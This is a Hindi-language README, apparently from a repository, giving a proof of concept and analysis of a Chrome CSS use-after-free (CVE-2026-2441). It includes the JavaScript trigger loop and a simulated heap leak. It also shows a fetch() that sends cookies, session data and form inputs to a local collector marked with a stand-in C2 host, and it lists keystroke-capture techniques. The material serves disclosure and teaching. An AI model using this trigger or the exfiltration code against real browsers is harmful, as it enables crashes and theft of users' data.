CVE-2026-2441 के लिए विस्तृत प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी विश्लेषण, एक क्रोम CSS use-after-free कमजोरी जो सैंडबॉक्स्ड रेंडरर RCE को तैयार HTML पृष्ठों के माध्यम से सक्षम करती है।
CVSS 8.8 (उच्च) | सक्रिय रूप से जंगली में शोषित | रेंडरर RCE (सैंडबॉक्स्ड)
Google Chrome के Blink CSS इंजन में एक उपयोग-पश्चात मुक्ति भेद्यता जो एक दूरस्थ हमलावर को एक निर्मित HTML पृष्ठ के माध्यम से ब्राउज़र सैंडबॉक्स के अंदर मनमाना कोड निष्पादित करने की अनुमति देती है।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (उच्च) |
| प्रकार | उपयोग-पश्चात मुक्ति (CWE-416) |
| घटक | Blink CSS — CSSFontFeatureValuesMap |
| स्रोत फ़ाइल | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| फिक्स कमिट | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| रिपोर्टर | Shaheen Fazim (2026-02-11) |
| पैच तिथि | 2026-02-13 |
| जंगली में | हाँ — Google ने सक्रिय शोषण की पुष्टि की |
| प्लेटफ़ॉर्म | असुरक्षित | सुरक्षित |
|---|---|---|
| Windows / macOS (स्थिर) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (स्थिर) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (विस्तारित स्थिर) | < 144.0.7559.177 | >= 144.0.7559.177 |
| क्रोमियम-आधारित ब्राउज़र (Edge, Brave, Opera, Vivaldi) | विक्रेता सलाहकारी देखें | भिन्न |
FontFeatureValuesMapIterationSource ने आंतरिक FontFeatureAliases हैश मैप के लिए एक कच्चा पॉइंटर (const FontFeatureAliases* aliases_) संग्रहीत किया। जब set() या delete() के माध्यम से पुनरावृत्ति के दौरान मैप को बदला जाता है, तो हैश मैप रीहैश होता है — नया स्टोरेज आवंटित करता है और पुराने को मुक्त करता है। कच्चा पॉइंटर लटकता हुआ हो जाता है, और अगली FetchNextItem() कॉल मुक्त मेमोरी से पढ़ती है।
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = raw pointer to internal HashMap
→ iterator_ = aliases_->begin()
FetchNextItem()
→ reads iterator_->key (through aliases_)
If map.set() / map.delete() is called between iterations:
→ HashMap rehashes (new alloc, old freed)
→ aliases_ → dangling pointer
→ iterator_ → invalidated
→ Next FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_; // deep copy → immune to rehash
फिक्स कच्चे पॉइंटर को हैश मैप की गहरी प्रतिलिपि से बदल देता है। भले ही मूल मैप रीहैश हो, पुनरावृत्तिकर्ता अपनी प्रतिलिपि पर संचालित होता है, जिससे लटकता पॉइंटर रुक जाता है।
poc.html खोलें| Chrome संस्करण | अपेक्षित व्यवहार |
|---|---|
| < 145.0.7632.75 (अनपैच) | रेंडरर क्रैश — STATUS_ACCESS_VIOLATION (Windows) या SIGSEGV (Linux/macOS)। Chrome "Can't open this page" त्रुटि दिखाता है। |
| >= 145.0.7632.75 (पैच किया गया) | कोई क्रैश नहीं — PoC पूरा चलता है, सभी प्रविष्टियाँ सामान्य रूप से पढ़ी जाती हैं। |
PoC को एक स्पष्ट और पुनरुत्पादनीय क्रम में शोषण श्रृंखला दिखाने के लिए व्यवस्थित किया गया है। पहला भाग असुरक्षित Blink/CSS ऑब्जेक्ट बनाता है, दूसरा भाग पुनरावृत्तिकर्ता अमान्यकरण को ट्रिगर करता है, और अंतिम भाग एक सुरक्षित शैक्षणिक वातावरण में पोस्ट-शोषण प्रभावों का अनुकरण करता है।
महत्वपूर्ण नोट: UAF ट्रिगर वास्तविक ब्राउज़र-एक्सपोज़्ड CSS/JavaScript API के माध्यम से कार्यान्वित किया गया है। हीप लीक और एक्सफ़िल्ट्रेशन डैशबोर्ड को जानबूझकर नियंत्रित/अनुकरण किया गया है ताकि एक हथियारबंद Chromium शोषण जारी होने से बचा जा सके।
पेलोड पहले एक CSS @font-feature-values नियम परिभाषित करता है:
@font-feature-values VulnFont {
@styleset {
a0: 1; a1: 2; a2: 3; a3: 4;
a4: 5; a5: 6; a6: 7; a7: 8;
}
}
यह नियम Blink को एक आंतरिक CSSFontFeatureValuesMap बनाने का कारण बनता है। असुरक्षित कार्यान्वयन में, इस मैप पर पुनरावृत्ति असुरक्षित है क्योंकि पुनरावृत्तिकर्ता आंतरिक FontFeatureAliases स्टोरेज के लिए एक कच्चा पॉइंटर रखता है।
JavaScript पेलोड बाद में स्टाइलशीट से मैप प्राप्त करता है:
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;
इस बिंदु पर, हमलावर-नियंत्रित पृष्ठ के पास एक ब्राउज़र ऑब्जेक्ट का JavaScript हैंडल होता है जिसका आंतरिक C++ कार्यान्वयन पुनरावृत्तिकर्ता अमान्यकरण के लिए असुरक्षित है।
ट्रिगर तुरंत निष्पादित नहीं होता है। PoC असुरक्षित अनुक्रम चलाने से पहले 800 ms प्रतीक्षा करता है:
setTimeout(triggerUAF, 800);
यह विलंब डेमो स्थिरता के लिए उपयोग किया जाता है। यह मेमोरी-भ्रष्टाचार ट्रिगर चलने से पहले पृष्ठ और नकली बैंकिंग सत्यापन फॉर्म को प्रस्तुत करने की अनुमति देता है। वास्तविक ड्राइव-बाय परिदृश्य में, वही ट्रिगर दुर्भावनापूर्ण पृष्ठ लोड होते ही स्वचालित रूप से लॉन्च किया जा सकता है।
मुख्य UAF प्रिमिटिव निम्नलिखित लूप है:
const it = map.entries();
let step = 0;
while (step < 4) {
const res = it.next();
if (res.done) break;
const [key] = res.value;
map.delete(key);
map.set("uaf_" + step, [step, step + 1]);
step++;
}
भेद्यता संचालन के क्रम से ट्रिगर होती है:
1. map.entries() CSSFontFeatureValuesMap पर एक पुनरावृत्तिकर्ता बनाता है।
2. असुरक्षित Blink कार्यान्वयन में, पुनरावृत्तिकर्ता आंतरिक मैप स्टोरेज को संदर्भित करता है।
3. it.next() उस पुनरावृत्तिकर्ता के माध्यम से अगली प्रविष्टि पढ़ता है।
4. map.delete(key) उसी मैप को उत्परिवर्तित करता है जबकि पुनरावृत्तिकर्ता अभी भी जीवित है।
5. map.set(...) एक नई प्रविष्टि सम्मिलित करता है और अंतर्निहित HashMap को रीहैश करने के लिए बाध्य कर सकता है।
6. रीहैशिंग पुराने स्टोरेज को मुक्त या स्थानांतरित कर सकती है।
7. पुनरावृत्तिकर्ता अभी भी पुराने स्टोरेज को संदर्भित कर सकता है।
8. अगली पुनरावृत्तिकर्ता पहुंच इस प्रकार उपयोग-पश्चात मुक्ति बन सकती है।
मूल आक्रामक रणनीति में एक बड़ा हीप-स्प्रे-जैसा लूप इस्तेमाल किया गया था, उदाहरण के लिए प्रत्येक विलोपन के बाद सैकड़ों तत्वों जैसे 512 नई प्रविष्टियाँ सम्मिलित करना। यह मजबूत हीप दबाव बनाता है और पुनःआवंटन/पुन: उपयोग को अधिक संभावित बनाता है।
लाइव डेमो के लिए, इसे केवल 4 उत्परिवर्तन चरणों तक कम कर दिया गया:
while (step < 4) {
// पुनरावृत्तिकर्ता पढ़ना + विलोपन + सेट
}
कारण व्यावहारिक और शैक्षणिक है: 512-तत्व स्प्रे अक्सर रेंडरर को तुरंत क्रैश कर देता है। क्रैश उपलब्धता प्रभाव साबित करने के लिए उपयोगी है, लेकिन यह बाकी प्रदर्शन को अनुकरणित डेटा चोरी और हमलावर डैशबोर्ड दिखाने से रोकता है। कम किया गया संस्करण अभी भी असुरक्षित पुनरावृत्तिकर्ता-अमान्यकरण तर्क को प्रदर्शित करता है जबकि लाइव प्रस्तुति के लिए ब्राउज़र को पर्याप्त स्थिर रखता है।
एक वास्तविक हथियारबंद UAF शोषण को ASLR को बायपास करने के लिए हीप या V8 पॉइंटर्स को लीक करने के लिए एक मेमोरी प्रकटीकरण प्रिमिटिव की आवश्यकता होगी। डेमो वास्तविक मनमाना मेमोरी रीड लागू नहीं करता है। इसके बजाय, यह एक पूर्वनिर्धारित स्थिर श्रेणी से एक हीप-जैसा पता उत्पन्न करता है:
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);
heapLeak = {
raw: "0x" + base.toString(16).toUpperCase(),
base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};
यह मान एक अनुकरणित हीप लीक है:
0x55a000000000 डेमो द्वारा उपयोग की जाने वाली निश्चित हीप-जैसी प्रारंभिक श्रेणी है।Math.random() * 0x200000 एक छोटा यादृच्छिक ऑफसेट जोड़ता है।base & ~0xfff पते को पृष्ठ सीमा पर संरेखित करता है।उद्देश्य यह दिखाना है कि वास्तविक मेमोरी प्रकटीकरण शोषण को लागू किए बिना हमलावर डैशबोर्ड पर ASLR-बाईपास लीक कैसा दिखेगा।
UAF ट्रिगर और अनुकरणित हीप लीक के बाद, PoC एक पेलोड बनाता है जिसमें एकत्रित फॉर्म इनपुट, ब्राउज़र-निवासी सत्र डेटा, DOM स्निपेट, UAF स्थिति और अनुकरणित हीप लीक शामिल हैं। पेलोड स्थानीय हमलावर बैकएंड को भेजा जाता है:
await fetch("http://127.0.0.1:7777/collect", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-C2-Origin": "evil-tracker-cdn.xyz"
},
body: JSON.stringify(payload)
});
स्थानीय बैकएंड POST /collect पर डेटा प्राप्त करता है, इसे मेमोरी में संग्रहीत करता है, और सर्वर-सेंट इवेंट्स (GET /events) के माध्यम से हमलावर डैशबोर्ड को अग्रेषित करता है। यह वास्तविक हमले के कमांड-एंड-कंट्रोल/एक्सफ़िल्ट्रेशन चरण का मॉडल करता है जबकि स्थानीय और नियंत्रित रहता है।
document.cookie, localStorage, sessionStorage, फॉर्म इनपुट मान पढ़नाfetch() / WebSocket / sendBeacon() के माध्यम से एक्सफ़िल्ट्रेट करनाaddEventListener('keydown') के माध्यम से सभी कीस्ट्रोक्स कैप्चर करनाजब एक अलग सैंडबॉक्स एस्केप भेद्यता के साथ संयुक्त किया जाता है:
Renderer RCE (CVE-2026-2441)
→ Mojo IPC exploit → Browser process RCE
→ Kernel exploit → Full system compromise
→ Malware / ransomware / spyware installation
→ File system access, lateral movement, persistence
समान ब्राउज़र UAF का उपयोग करके वास्तविक दुनिया के शोषण श्रृंखलाएं:
यह भेद्यता ड्राइव-बाय डाउनलोड के माध्यम से शोषणीय है — दुर्भावनापूर्ण पृष्ठ पर जाने के अलावा किसी उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं है:
chrome://flags/#site-isolation-trial-opt-out)| तिथि | घटना |
|---|---|
| 2026-02-11 | शाहीन फ़ाज़िम द्वारा भेद्यता रिपोर्ट की गई |
| 2026-02-13 | Google ने Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) जारी किया |
| 2026-02-13 | Google ने जंगली में शोषण स्वीकार किया |
| 2026-02-16 | Vivaldi और Opera ने फिक्स शिप किए |
यदि आपको यह शोध उपयोगी लगता है, तो मुझे एक कॉफ़ी खरीदने पर विचार करें:
यह प्रमाण की अवधारणा केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान की गई है। स्पष्ट अनुमति के बिना सिस्टम के खिलाफ इस PoC का उपयोग करना अवैध और अनैतिक है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।
MIT